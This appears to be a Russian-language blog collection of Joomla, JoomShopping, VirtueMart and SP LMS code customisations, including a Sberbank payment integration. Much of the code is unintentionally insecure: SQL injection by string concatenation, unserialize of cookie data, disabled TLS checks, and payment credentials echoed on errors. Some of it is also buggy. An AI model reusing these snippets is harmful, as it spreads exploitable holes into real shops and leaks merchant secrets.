$db->setquery("update #__jshopping_orders set ext_field_3='".$_SESSION['jsext_field_3']."',D_ext_field_3='".$_SESSION['jsext_field_3']."' where order_id='".$order->order_id."' ");
$db->execute();
}
if (isset($_SESSION['jsext_field_1']) and strlen($_SESSION['jsext_field_1'])>0)
{
//транспортная
$db->setquery("update #__jshopping_orders set ext_field_1='".$_SESSION['jsext_field_1']."',d_ext_field_1='".$_SESSION['jsext_field_1']."' where order_id='".$order->order_id."' ");
$db->execute();
}
if ($jshopConfig->send_order_email && $order->order_created){$send = $this->sendOrderEmail($order->order_id);}
return $order;
}

Массовая рассылка Joomla - прикрепить файл к письму

Речь пойдет о стандартном компоненте "Менеджер пользователей", который позволяет делать рассылку четным записям Joomla.

У стандартной формы нет возможности прикрепить файл, чтобы это исправить вносим изменения:

1.Добавляем поле с типом "файл", в файле конфигурации 

<?xml version="1.0" encoding="utf-8"?>
<form>
<fieldset>
<field
name="recurse"
type="checkbox"
label="COM_USERS_MAIL_FIELD_RECURSE_LABEL"
description="COM_USERS_MAIL_FIELD_RECURSE_DESC"
value="1"
/>
<field
name="fileupload"
type="file"
label="Прикрепленный файл"
description=""
/>
...

 2.На форме массовой рассылки, добавляем вызов поля для загрузки файла и обязательно у формы ставить атрибут enctype="multipart/form-data"

<form action="<?php echo JRoute::_('index.php?option=com_users&view=mail'); ?>" name="adminForm" method="post" id="adminForm" enctype="multipart/form-data">
<div class="row-fluid">
<div class="span9">
<fieldset class="adminform">
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('subject'); ?></div>
<div class="controls"><?php echo JComponentHelper::getParams('com_users')->get('mailSubjectPrefix'); ?>
<?php echo $this->form->getInput('subject'); ?></div>
</div>
<div class="control-group">
<div class="controls"><?php echo $this->form->getInput('fileupload'); ?></div>
</div>
<div class="control-group">
<div class="control-label"><?php echo $this->form->getLabel('message'); ?></div>
<div class="controls"><?php echo $this->form->getInput('message'); ?><br>
<?php echo JComponentHelper::getParams('com_users')->get('mailBodySuffix'); ?></div>
</div>

3.В модели добавляем обработчик поля и прикрепление файла к письму

public function send()
{
$app = JFactory::getApplication();
$data = $app->input->post->get('jform', array(), 'array');
$user = JFactory::getUser();
$access = new JAccess;
$db = $this->getDbo();
$mode = array_key_exists('mode', $data) ? (int) $data['mode'] : 0;
$subject = array_key_exists('subject', $data) ? $data['subject'] : '';
$grp = array_key_exists('group', $data) ? (int) $data['group'] : 0;
$recurse = array_key_exists('recurse', $data) ? (int) $data['recurse'] : 0;
$bcc = array_key_exists('bcc', $data) ? (int) $data['bcc'] : 0;
$disabled = array_key_exists('disabled', $data) ? (int) $data['disabled'] : 0;
$message_body = array_key_exists('message', $data) ? $data['message'] : '';
// Automatically removes html formatting
if (!$mode) {$message_body = JFilterInput::getInstance()->clean($message_body, 'string');}
// Check for a message body and subject
if (!$message_body || !$subject)
{
$app->setUserState('com_users.display.mail.data', $data);
$this->setError(JText::_('COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY'));
return false;
}
// Get users in the group out of the ACL
$to = $access->getUsersByGroup($grp, $recurse);
// Get all users email and group except for senders
$query = $db->getQuery(true)
->select('email')
->from('#__users')
->where('id != ' . (int) $user->get('id'));
if ($grp !== 0)
{
if (empty($to)) {$query->where('0');}
else {$query->where('id IN (' . implode(',', $to) . ')');}
}
if ($disabled == 0){$query->where('block = 0');}
$db->setQuery($query);
$rows = $db->loadColumn();
// Check to see if there are any users in this group before we continue
if (!count($rows))
{
$app->setUserState('com_users.display.mail.data', $data);
if (in_array($user->id, $to)){$this->setError(JText::_('COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP'));}
else
{$this->setError(JText::_('COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP'));} return false;
}
// Get the Mailer
$mailer = JFactory::getMailer();
$params = JComponentHelper::getParams('com_users');
// Build email message format.
$mailer->setSender(array($app->get('mailfrom'), $app->get('fromname')));
$mailer->setSubject($params->get('mailSubjectPrefix') . stripslashes($subject));
$mailer->setBody($message_body . $params->get('mailBodySuffix'));
$mailer->IsHtml($mode);
// Add recipients
if ($bcc)
{
$mailer->addBcc($rows);
$mailer->addRecipient($app->get('mailfrom'));
}
else{$mailer->addRecipient($rows);}

jimport('joomla.filesystem.file');
if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);
$datafn = $app->input->files->get('jform', array(), 'array');
$file_upload= array_key_exists('fileupload', $datafn) ? $datafn['fileupload'] : '';
$filename = JFile::makeSafe($file_upload['name']);
$src = $file_upload['tmp_name'];
$dest = JPATH_ROOT.DS.'tmp'.DS.$filename;

if ($filename!='') {if (JFile::upload($src, $dest))
{$mailer->addAttachment($dest);}
else
{$this->setError(JText::_('Не удалось прикрепить файл '.$src));}}
// Send the Mail
$rs = $mailer->Send();
// Check for an error
if ($rs instanceof Exception)
{
$app->setUserState('com_users.display.mail.data', $data);
$this->setError($rs->getError());
return false;
}
elseif (empty($rs))
{
$app->setUserState('com_users.display.mail.data', $data);
$this->setError(JText::_('COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT'));
return false;
}
else
{
$data['mode'] = $mode;
$data['subject'] = $subject;
$data['group'] = $grp;
$data['recurse'] = $recurse;
$data['bcc'] = $bcc;
$data['message'] = $message_body;
$data['file_upload'] = $file_upload;
$app->setUserState('com_users.display.mail.data', array());
$app->enqueueMessage(JText::plural('COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS', count($rows)), 'message');
return true;
}
}

JoomShopping - Стоимость атрибута в заказе

Нам необходимо запомнить стоимость атрибута на момент продажи, для этого необходимо в таблице #__jshopping_order_item добавить поле attrprice

Далее добавляем код, который сохранит стоимость атрибута в момент создания заказа, файл:

/components/com_jshopping/models/checkoutorder.php

После $order->saveOrderItem($cart->products); добавляем код:

 $db->setquery("SELECT * FROM `#__jshopping_order_item` WHERE order_id='".$order->order_id."' ");$orditems=$db->loadobjectlist();
foreach($orditems as $orditem)
if (trim($orditem->attributes)!='')
{
$attr = unserialize($orditem->attributes);
$attrprice='';$needsave=0;$pricemass=array();
foreach($attr as $attritem=>$val )
{
$db->setquery("select independent from #__jshopping_attr where attr_id='".$attritem."'");$independent=$db->loadresult();
if ($independent==1)
{
$db->setquery("select concat(price_mod,addprice) from #__jshopping_products_attr2 where attr_id='".$attritem."' and attr_value_id='".$val."' and product_id='".$orditem->product_id."' ");$attrprice=$db->loadresult();
if (isset($orditem->attrprice) and ($orditem->attrprice)!='') {$pricemass=json_decode($orditem->attrprice,true);}
else {$needsave=1;}
if (!isset($pricemass[$attritem.'-'.$val]))
{
$pricemass[$attritem.'-'.$val]=number_format($attrprice,2,'.',' ');
$needsave=1;
}
}
if ($needsave==1)
{
$massstr=json_encode($pricemass);
$db->setquery("update #__jshopping_order_item set attrprice='".$massstr."' where order_item_id='".$orditem->order_item_id."' ");$db->execute();
}
}
}

 Далее необходимо вывести эти данные в административной части, файл

administrator/components/com_jshopping/views/orders/tmpl/show.php

В нужную ячейку добавляем код:

<td class="atrrlist">
<?php
$attr = unserialize($item->attributes);
echo formatprice($item->product_item_price, $order->currency_code);
if (isset($item->_ext_price_html)) print $item->_ext_price_html;
$attrprice='';$needsave=0;$pricemass=array();
foreach($attr as $attritem=>$val )
{
$db->setquery("select `name_ru-RU` from #__jshopping_attr where attr_id='".$attritem."'");$attrname=$db->loadresult();
$db->setquery("select independent from #__jshopping_attr where attr_id='".$attritem."'");$independent=$db->loadresult();
$db->setquery("select `name_ru-RU` from #__jshopping_attr_values where attr_id='".$attritem."' and value_id='".$val."' ");$attrval=$db->loadresult();
if ($independent==1)
{
$db->setquery("select concat(price_mod,addprice) from #__jshopping_products_attr2 where attr_id='".$attritem."' and attr_value_id='".$val."' and product_id='".$item->product_id."' ");$attrprice=$db->loadresult();
if (isset($item->attrprice) and ($item->attrprice)!='') {$pricemass=json_decode($item->attrprice,true);}
else {$needsave=1;}
if (!isset($pricemass[$attritem.'-'.$val]))
{
$pricemass[$attritem.'-'.$val]=number_format($attrprice,2,'.',' ');
$needsave=1;
}
if ($attrprice>0) echo '<br><span class="attrid_'.$attritem.' valid_'.$val.'">'.$attrname.'</span> : '.$attrval.' цена '.$pricemass[$attritem.'-'.$val];
}
if ($needsave==1)
{
$massstr=json_encode($pricemass);
$db->setquery("update #__jshopping_order_item set attrprice='".$massstr."' where order_item_id='".$item->order_item_id."' ");$db->execute();
}
}
?>
</td>

VirtueMart 3 - поиск товара без учета пункта меню

Поиск товаров в VM происходит с учетом выбранного меню, это бывает не удобно, когда пользователю нужно организовать глобальнй поиск по всему каталогу

Исправить можно в файле

administrator/components/com_virtuemart/models/pooduct.php

Примерно на ~258 строке происходит проверка на ввод поисковой фразы, нам нужно добавить флаг "был ли поиск"

$is_searsh=0;
if (!empty($this->keyword) and $this->keyword !== '' and $group === FALSE)
{
$is_searsh=1;

Далее в блоке фильтра по категории, добавляет условие нового флага - если введено поисковое слово то игнорируем категорию

if ($virtuemart_category_id > 0 and $is_searsh==0) 
{
$joinCategory = TRUE;
$categories = array();
VmModel::getModel('category')->GetTreeCatArray($categories, $virtuemart_category_id);
$where[] = ' `pc`.`virtuemart_category_id` in (\'' . implode('\',\'',$categories).'\')';
} else

Дополнительно можно отсеять товар перед выводм, например вывести только уникальные названия, в этом же методе перед выводом результата:

//убираем дубликаты по названию
if ($is_searsh==1 and count($product_ids)>0)
{
$db = JFactory::getDbo();
$db->setquery("select p.virtuemart_product_id as id,product_name as name from #__virtuemart_products p left join #__virtuemart_products_ru_ru as r on r.virtuemart_product_id=p.virtuemart_product_id where p.virtuemart_product_id in (".implode(',',$product_ids).") ");$lists=$db->loadobjectlist();
$product_ids=array();
$product_ids_name=array();
foreach($lists as $ll)
{
$is_new=1;
foreach($product_ids_name as $nn) {if ($nn==$ll->name) $is_new=0;}
if ($is_new==1)
{
$product_ids[]=$ll->id;
$product_ids_name[]=$ll->name;
}
}
}
return $product_ids;

SP LMS - экваринг от сбербанка

Для внедрения экваринга сначала создадим параметры компонента

/administrator/components/com_splms/config.xml
<fieldset name="urls" label="Платежные системы">
<field name="sber_login" type="text" label="Логин магазина" description="" default="" />
<field name="sber_pass" type="password" label="Пароль магазина" description="" default="" />
<field name="sber_token" type="tokensber" label="Токен магазина" description="" default="" />
<field name="sberauthtype" type="radio" class="btn-group btn-group-yesno" default="0" label="Тип авторизации">
<option value="1">Логин и пароль</option>
<option value="0">Токен</option>
</field>
<field name="sberdebug" type="radio" class="btn-group btn-group-yesno" default="0" label="Режим">
<option value="1">Тестовый</option>
<option value="0">Рабочий</option>
</field>
<field name="sber_success" type="text" label="Сбербанк success" description="" default="" />
<field name="sber_ref" type="text" label="Сбербанк страница постоплаты" description="" default="" />

Далее в корзине разместитм кнопку оплаты - будем использовать встроенный метод оплаты "direct"

components/com_splms/cart/default.php
<?php if( $this->payment_method == 'all' || ( is_array($this->payment_method) && in_array('direct', $this->payment_method) ) ) { ?>
<div class="splms-payment-method payment-method-direct pull-right">
<a href="#" class="btn btn-success sberbtn" style=""><?php echo JText::_('COM_SPLMS_CART_PROCEED_CHECKOUT'); ?></a><div id="sberout"></div>
<input type="hidden" name="totalamount" id="totalamount" value="<?php echo $amounts; ?>">
</div>
<?php } ?>

Добавим чтение параметров

function curlQuery($query_url) //функция ждет на вход некий URL адрес, с параметрами.
{
$ch = curl_init() or die('Ошибка инициализации cURL'); //инициализируем протокол cURL
//устанавливаем все необходимые данные
curl_setopt($ch, CURLOPT_URL, $query_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'PHP Payment Gateway by Fuss (https://fussraider.ru)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$data = curl_exec($ch) or die('Не удалось послать данные на сервер, повторите попытку.
Error: ' . curl_error($ch));
$data_array = json_decode($data, true);
return $data_array;
}
//параметры
$compo_params = JComponentHelper::getParams('com_splms');
$sber_post = $compo_params->get('sber_post','index.php?option=com_splms&task=payment.notify');
$sber_success = $compo_params->get('sber_success','index.php?option=com_splms&task=payment.direactPayment&pm=direct ');
$sber_cancel = $compo_params->get('sber_cancel','index.php?option=com_splms&task=payment.paymencancel');
$sber_ref = $compo_params->get('sber_ref','');
//номер заказа для сбера
$today = JFactory::getDate();
$today = JHtml::_('date', $today, 'Ymd');
$rand = strtoupper(substr(uniqid(sha1(time())),0,6));
$uniqueno = $rand . $today; //order_id

Для работы скрипта необходим уникальный номер - создаем его каждый раз во время открытия страницы , переменная $uniqueno

Размещаем скрипт, отвечающий за открытие формы оплаты

<script>
jQuery(document).ready(function() {
jQuery("body").on("click", ".sberbtn", function(e){
var myData = 'sberbtn='+document.getElementById('invoice_id').value+'&amount='+document.getElementById('totalamount').value;
jQuery.ajax({
type: "POST",
url: "<?php echo JURI::root();?>index.php?option=com_splms&view=cart",
dataType:"text",
data:myData,
success:function(response){
if (response.split('://')[1]!=null)
{
window.location.replace(response);
}
else
document.getElementById('sberout').innerHTML=response;
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
});
</script>

 Скрипт проверяет ответ, если в нем html ссылка, то ошибок нет и можно переадресовыать 

Функция читающая aJax запрос - в ней идет первое обращение к сбербанку и получение окна с оплатой

if (isset($_POST['sberbtn']))
{
$invoice_id=$_POST['sberbtn'];
$amount=$_POST['amount']*100;
$compo_params = JComponentHelper::getParams('com_splms');
$sber_login = $compo_params->get('sber_login','login');
$sber_pass = $compo_params->get('sber_pass','pass');
$sber_login = $compo_params->get('sber_login','login');
$sber_pass = $compo_params->get('sber_pass','pass');
$sberdebug = $compo_params->get('sberdebug','1');
$sber_token = $compo_params->get('sber_token','');
$sberauthtype = $compo_params->get('sberauthtype','0');
$sber_success = $compo_params->get('sber_success','index.php?option=com_splms&task=payment.direactPayment&pm=direct');
$register = 'register.do';
$returnUrl = JURI::root().$sber_success;
$merchant = array('login' => $sber_login,'password' => $sber_pass);
$get_order_status = 'getOrderStatus.do';
$orderNumber = $_SERVER['REQUEST_TIME']; // номер заказа, будем формировать, например, из метки времени (можете изменить под свои нужды, но главное чтобы он был УНИКАЛЬНЫМ)
if ($sberauthtype==0) $authpass='token='.$sber_token;
if ($sberauthtype==1) $authpass='userName='.$merchant['login'].'&password='.$merchant['password'];
if ($sberdebug==1) $main_server = 'https://3dsec.sberbank.ru/payment/rest/register.do';
if ($sberdebug==0) $main_server = 'https://securepayments.sberbank.ru/payment/rest/';
$url= ($main_server.$register.'?'.$authpass.'&amount='.$amount.'&orderNumber='.$invoice_id.'&returnUrl='.$returnUrl.'&language=ru&pageView=DESKTOP');
$data_arr = curlQuery($url);
if(isset($data_arr['errorCode']) & !empty($data_arr['errorCode']))
{
echo ('Произошла ошибка: ' . $data_arr['errorCode'] . ' : ' . $data_arr['errorMessage']);
echo '<br>$url = '.$url;
exit();
}
else
{
echo $data_arr['formUrl'];
}
exit();
}

Последний шрих - автоматическое закрытие страницы с проведеной оплатой и перевод клиента в кабинет. Используем ссылку из параметров компонента

components\com_splms\controllers\payment.php
// Direct payment
public function direactPayment() {
$db = JFactory::getDbo();
$compo_params = JComponentHelper::getParams('com_splms');
$sber_ref = $compo_params->get('sber_ref','');
$user = JFactory::getUser();
// Load Lessons model
jimport('joomla.application.component.model');
JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_splms/models');
$model = JModelLegacy::getInstance('Payment', 'SplmsModel');
//Get cookie
$cookie = JFactory::getApplication()->input->cookie;
$orders_info = $cookie->get('splmsOrders', base64_encode(serialize(array())));
$orders_info = unserialize(base64_decode($orders_info));
if ($user-> guest) {
JFactory::getApplication()->enqueueMessage(JText::_('COM_SPLMS_CART_LOGIN_TO_CHECKOUT'), 'warning');
} elseif (isset($orders_info) && is_array($orders_info)) {
if (count($orders_info)) {
$model->insertOrders($orders_info);
//clear cookie
$cookie->set('splmsOrders', null, time() - 1);
if (isset($user->email) && $user->email) {self::sendPurchasdeMail($user->email, $orders_info);}
JFactory::getApplication()-> enqueueMessage(JText::_('COM_SPLMS_DIRECT_ORDER_SUBMITED'), 'success');
echo '<script>window.setTimeout(function(){location.href = "'.JURI::root().$sber_ref.'";}, 2000);</script>';
}
else
{
JFactory::getApplication()-> enqueueMessage(JText::_('COM_SPLMS_NO_ITEM_IN_CART'), 'warning');
//echo '<p>Корзина пуста</p>';
}
} else
{
JFactory::getApplication()-> enqueueMessage(JText::_('COM_SPLMS_SOMETHING_WRONG'), 'warning');
//echo '<p>Ошибка</p>';
}
}

 Но в этом методе не хватает защиты - нам необходимо проверить статус оплаты, до момента создания заказа и отправки письма, с корректировкой метод будет выглядеть так:

// Direct payment
public function direactPayment() {
$db = JFactory::getDbo();
$compo_params = JComponentHelper::getParams('com_splms');
$sber_ref = $compo_params->get('sber_ref','');
$user = JFactory::getUser();
// Load Lessons model
jimport('joomla.application.component.model');
JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_splms/models');
$model = JModelLegacy::getInstance('Payment', 'SplmsModel');
$cookie = JFactory::getApplication()->input->cookie;
$orders_info = $cookie->get('splmsOrders', base64_encode(serialize(array())));
$orders_info = unserialize(base64_decode($orders_info));
if ($user-> guest) {
JFactory::getApplication()->enqueueMessage(JText::_('COM_SPLMS_CART_LOGIN_TO_CHECKOUT'), 'warning');
} elseif (isset($orders_info) && is_array($orders_info)) {
if (count($orders_info) and isset($_GET['orderId']))
{
//проверка платежа
$compliteorger=$_GET['orderId'];
$compo_params = JComponentHelper::getParams('com_splms');
$sber_login = $compo_params->get('sber_login','login');
$sber_pass = $compo_params->get('sber_pass','pass');
$sberdebug = $compo_params->get('sberdebug','1');
$sber_token = $compo_params->get('sber_token','');
$sberauthtype = $compo_params->get('sberauthtype','0');
if ($sberauthtype==0) $authpass='token='.$sber_token;
if ($sberauthtype==1) $authpass='userName='.$merchant['login'].'&password='.$merchant['password'];
if ($sberdebug==1) $main_server = 'https://3dsec.sberbank.ru/payment/rest/register.do';
if ($sberdebug==0) $main_server = 'https://securepayments.sberbank.ru/payment/rest/';
//запрос статуса платежа на стороне банка
$query_url='https://securepayments.sberbank.ru/payment/rest/getOrderStatus.do?language=ru&'.$authpass.'&orderId='.$compliteorger;
$ch = curl_init() or die('Ошибка инициализации cURL'); //инициализируем протокол cURL
//устанавливаем все необходимые данные
curl_setopt($ch, CURLOPT_URL, $query_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'PHP Payment Gateway by Fuss (https://fussraider.ru)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$data = curl_exec($ch) or die('Не удалось послать данные на сервер, повторите попытку. Error: ' . curl_error($ch));
$data_arr = json_decode($data, true);
if (isset($data_arr['ErrorMessage']))$message=$data_arr['ErrorMessage'];else $message='';
if(isset($data_arr['ErrorCode']) and $data_arr['ErrorCode']=='0')
{
//создаем заказ
$model->insertOrders($orders_info);
//clear cookie
$cookie->set('splmsOrders', null,time()-1);
if (isset($user->email) && $user->email) {self::sendPurchasdeMail($user->email, $orders_info);}
JFactory::getApplication()-> enqueueMessage(JText::_('COM_SPLMS_DIRECT_ORDER_SUBMITED'), 'success');
echo '<script>window.setTimeout(function(){location.href = "'.JURI::root().$sber_ref.'";}, 2000);</script>';
}
else JFactory::getApplication()-> enqueueMessage(JText::_('Платеж не прошел, обратитесь к администратору<br>'.$message), 'warning');
}
else
{
JFactory::getApplication()-> enqueueMessage(JText::_('COM_SPLMS_NO_ITEM_IN_CART'), 'warning');
//echo '<p>Корзина пуста</p>';
echo '<script>window.setTimeout(function(){location.href = "'.JURI::root().$sber_ref.'";}, 2000);</script>';
}
} else
{
JFactory::getApplication()-> enqueueMessage(JText::_('COM_SPLMS_SOMETHING_WRONG'), 'warning');
//echo '<p>Ошибка</p>';
}
}

JoomShopping - ActivePage

У JoomShopping версии 4.17 в навигации(Pagination) не выделена активная страница, чтобы это исправить необходимо открыть файл

components/com_jshopping/models/productlist.php

Примерно на ~180 строке необходимо добавить замену текста:

$pagenav = $pagination->getPagesLinks();
$pagenav=str_replace('<li><span class="pagenav">','<li class="activepage"><span class="pagenav">',$pagenav);

Далее в стилях добавить оформление классу activepage

Анимация телефона через CSS

Для анимации необхимо создать элемент:

<a id="popup__toggle" onclick="return false;" style="cursor:pointer;">
<div class="ringanime visible-title">
<div class="circlephone visible-title" style="transform-origin: center;"></div>
<div class="circle-fill visible-title" style="transform-origin: center;"></div>
<div class="img-circle visible-title" style="transform-origin: center;"><div class="img-circleblock visible-title" style="transform-origin: center;"></div>
</div></div><span class="ringtext">Телефон: ххх-хх-ххх</span></a>

В собатии onclick нужно вызвать вашу форму обратной связи

Далее CSS правила для анимации:

.ringanime{float:left;position: relative;top: 68px;}
.ringtext{float:right;}
#popup__toggle{display: inline-block;width: 320px;bottom:-25px;left:10px;position:relative;z-index:999;}
.img-circle{background-color:#29AEE3;box-sizing:content-box;-webkit-box-sizing:content-box;}
.circlephone{box-sizing:content-box;-webkit-box-sizing:content-box;border: 2px solid #29AEE3;width:100px;height:100px;bottom:1px;left:35px;position:absolute;-webkit-border-radius:100%;-moz-border-radius: 100%;border-radius: 100%;opacity: .5;-webkit-animation: circle-anim 2.4s infinite ease-in-out !important;-moz-animation: circle-anim 2.4s infinite ease-in-out !important;-ms-animation: circle-anim 2.4s infinite ease-in-out !important;-o-animation: circle-anim 2.4s infinite ease-in-out !important;animation: circle-anim 2.4s infinite ease-in-out !important;-webkit-transition: all .5s;-moz-transition: all .5s;-o-transition: all .5s;transition: all 0.5s;}
.circle-fill{box-sizing:content-box;-webkit-box-sizing:content-box;background-color:#29AEE3;width:70px;height:70px;bottom:16px;left:50px;position:absolute;-webkit-border-radius: 100%;-moz-border-radius: 100%;border-radius: 100%;border: 2px solid transparent;-webkit-animation: circle-fill-anim 2.3s infinite ease-in-out;-moz-animation: circle-fill-anim 2.3s infinite ease-in-out;-ms-animation: circle-fill-anim 2.3s infinite ease-in-out;-o-animation: circle-fill-anim 2.3s infinite ease-in-out;animation: circle-fill-anim 2.3s infinite ease-in-out;-webkit-transition: all .5s;-moz-transition: all .5s;-o-transition: all .5s;transition: all 0.5s;}
.img-circle{box-sizing:content-box;-webkit-box-sizing:content-box;width:52px;height:52px;bottom: 25px;left: 59px;position:absolute;-webkit-border-radius: 100%;-moz-border-radius: 100%;border-radius: 100%;border: 2px solid transparent;opacity: .7;}
.img-circleblock{box-sizing:content-box;-webkit-box-sizing:content-box;width:52px;height:52px;background-image:url(/images/mini.png);background-position: center center;background-repeat:no-repeat;animation-name: tossing;-webkit-animation-name: tossing;animation-duration: 1.5s;-webkit-animation-duration: 1.5s;animation-iteration-count: infinite;-webkit-animation-iteration-count: infinite;}
.img-circle:hover{opacity: 1;}
@keyframes pulse {0% {transform: scale(0.9);opacity: 1;}
50% {transform: scale(1); opacity: 1; }
100% {transform: scale(0.9);opacity: 1;}}
@-webkit-keyframes pulse {0% {-webkit-transform: scale(0.95);opacity: 1;}
50% {-webkit-transform: scale(1);opacity: 1;}
100% {-webkit-transform: scale(0.95);opacity: 1;}}
@keyframes tossing {
0% {transform: rotate(-8deg);}
50% {transform: rotate(8deg);}
100% {transform: rotate(-8deg);}}
@-webkit-keyframes tossing {
0% {-webkit-transform: rotate(-8deg);}
50% {-webkit-transform: rotate(8deg);}
100% {-webkit-transform: rotate(-8deg);}}
@-moz-keyframes circle-anim {
0% {-moz-transform: rotate(0deg) scale(0.5) skew(1deg);opacity: .1;-moz-opacity: .1;-webkit-opacity: .1;-o-opacity: .1;}
30% {-moz-transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .5;-moz-opacity: .5;-webkit-opacity: .5;-o-opacity: .5;}
100% {-moz-transform: rotate(0deg) scale(1) skew(1deg);opacity: .6;-moz-opacity: .6;-webkit-opacity: .6;-o-opacity: .1;}}
@-webkit-keyframes circle-anim {
0% {-webkit-transform: rotate(0deg) scale(0.5) skew(1deg);-webkit-opacity: .1;}
30% {-webkit-transform: rotate(0deg) scale(0.7) skew(1deg);-webkit-opacity: .5;}
100% {-webkit-transform: rotate(0deg) scale(1) skew(1deg);-webkit-opacity: .1;}}
@-o-keyframes circle-anim {
0% {-o-transform: rotate(0deg) kscale(0.5) skew(1deg);-o-opacity: .1;}
30% {-o-transform: rotate(0deg) scale(0.7) skew(1deg);-o-opacity: .5;}
100% {-o-transform: rotate(0deg) scale(1) skew(1deg);-o-opacity: .1;}}
@keyframes circle-anim {
0% {transform: rotate(0deg) scale(0.5) skew(1deg);opacity: .1;}
30% {transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .5;}
100% {transform: rotate(0deg) scale(1) skew(1deg);
opacity: .1;}}
@-moz-keyframes circle-fill-anim {
0% {-moz-transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2;}
50% {-moz-transform: rotate(0deg) -moz-scale(1) skew(1deg);opacity: .2;}
100% {-moz-transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2;}}
@-webkit-keyframes circle-fill-anim {
0% {-webkit-transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2; }
50% {-webkit-transform: rotate(0deg) scale(1) skew(1deg);opacity: .2; }
100% {-webkit-transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2;}}
@-o-keyframes circle-fill-anim {
0% {-o-transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2;}
50% {-o-transform: rotate(0deg) scale(1) skew(1deg);opacity: .2;}
100% {-o-transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2;}}
@keyframes circle-fill-anim {
0% {transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2;}
50% {transform: rotate(0deg) scale(1) skew(1deg);opacity: .2;}
100% {transform: rotate(0deg) scale(0.7) skew(1deg);opacity: .2;}}

 

JoomShopping - Дополнительные функции в списке товаров

В списке товаров можно разместить собственную кнопку с функцией, например назначение метки "Распродажа".

Редактируем файл пре-формы:

administrator\components\com_jshopping\view\product_list\view.html.php

Добавляем строку с новой кнопкой:

class JshoppingViewProduct_list extends JViewLegacy{
function display($tpl=null){
JToolBarHelper::title( _JSHOP_LIST_PRODUCT, 'generic.png' );
JToolBarHelper::addNew();
JToolBarHelper::custom('copy', 'copy', 'copy_f2.png', JText::_('JLIB_HTML_BATCH_COPY'));
JToolBarHelper::editList('editlist');
JToolBarHelper::publishList();
JToolBarHelper::unpublishList();
JToolBarHelper::deleteList(_JSHOP_DELETE."?");
JToolBarHelper::custom('sale', 'bookmark-2', '', JText::_('Распродажа'));
parent::display($tpl);
}
function displaySelectable($tpl=null){
parent::display($tpl);
}
}

В файле модели, создаем функцию "sale" обозначенную в кнопке:

administrator\components\com_jshopping\models\

Функция, обращаю внимание что label_id у вас может отличаться:

function sale($cid){
$text = array();
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onBeforeCopyProduct', array(&$cid));
$db = JFactory::getDbo();
foreach($cid as $key=>$value)
{
$db->setquery("update #__jshopping_products set label_id='2' where product_id='".$key."' ");$db->execute();
}
$dispatcher->trigger('onAfterCopyProduct', array(&$cid));
return $text;
}

В контроллере связываем функцию кнопки и модели, файл

administrator\components\com_jshopping\controllers\products.php
function copy(){
$cid = $this->input->getVar('cid');
$text = JSFactory::getModel("products")->copyProducts($cid);
$this->setRedirect("index.php?option=com_jshopping&controller=products", implode("</li><li>",$text));
}

function sale(){
$cid = $this->input->getVar('cid');
$text = JSFactory::getModel("products")->sale($cid);
$this->setRedirect("index.php?option=com_jshopping&controller=products", implode("</li><li>",$text));
}

JoomShopping - изменение названия категории от выбора фильтра

В фильтре JoomShopping используются характеристики товаров, можно изменить название категории в зависимости от выбранной категории

Например Мебель на заказ -> Изготовление гардеробной комнаты на заказ

Необходимо редактировать файл:

components/com_jshopping/templates/category/category_default.php

Необходимо создать массив с переопределением наименования категории:

$filter_header=array(
'38'=>'Изготовление комодов на заказ',
....
'46'=>'Двери из шпона на заказ от производителя');

ИД - это идентификатор значения характеристики

Далее в файле заменить

<div class="category_description linelist">
<?php print $this->category->description?>
</div>

на

<div class="category_description linelist">
<?php
$mainframe = JFactory::getApplication();
$extra_fields_active = $mainframe->getUserStateFromRequest($contextfilter.'extra_fields', 'extra_fields', array());
$extra_fields_active = filterAllowValue($extra_fields_active, "array_int_k_v+");$selfields=array(0);
foreach($extra_fields_active as $key=>$val){if (count($extra_fields_active[$key])) $selfields[]=implode(',',$extra_fields_active[$key]);}
$selfields=implode(',',$selfields );$selfields=explode(',',$selfields);
$lastelem=array_pop($selfields);
if (isset($filter_header[$lastelem])) echo '<p>'.$filter_header[$lastelem].'</p>';else print $this->category->description?>
</div>

  

JoomShopping - добавить в списке категорий кол-во товара

Список категорий можно расширить - указать кол-во товаров.

Для этого необходимо в запросе к БД добавить опрос товаров по категории, файл:

 /components/com_jshopping/tables/category.php

В запросе к категориям добавляем запрос на кол-во товаров. В данном примере берется товар из текущей категории и один уровень дочерней, если у вас более одного уровня вложений категорий, необходимо рекурсивный опрос.

$query = "SELECT `".$lang->get('name')."` as name,`".$lang->get('description')."` as description,`".$lang->get('short_description')."` as short_description, category_id, category_publish, ordering, category_image,
(select count(product_id) from #__jshopping_products_to_categories as cp where
cp.product_id in (select product_id from #__jshopping_products where (product_quantity>0 or unlimited=1) and product_publish=1 and product_price>1 and image<>'' )
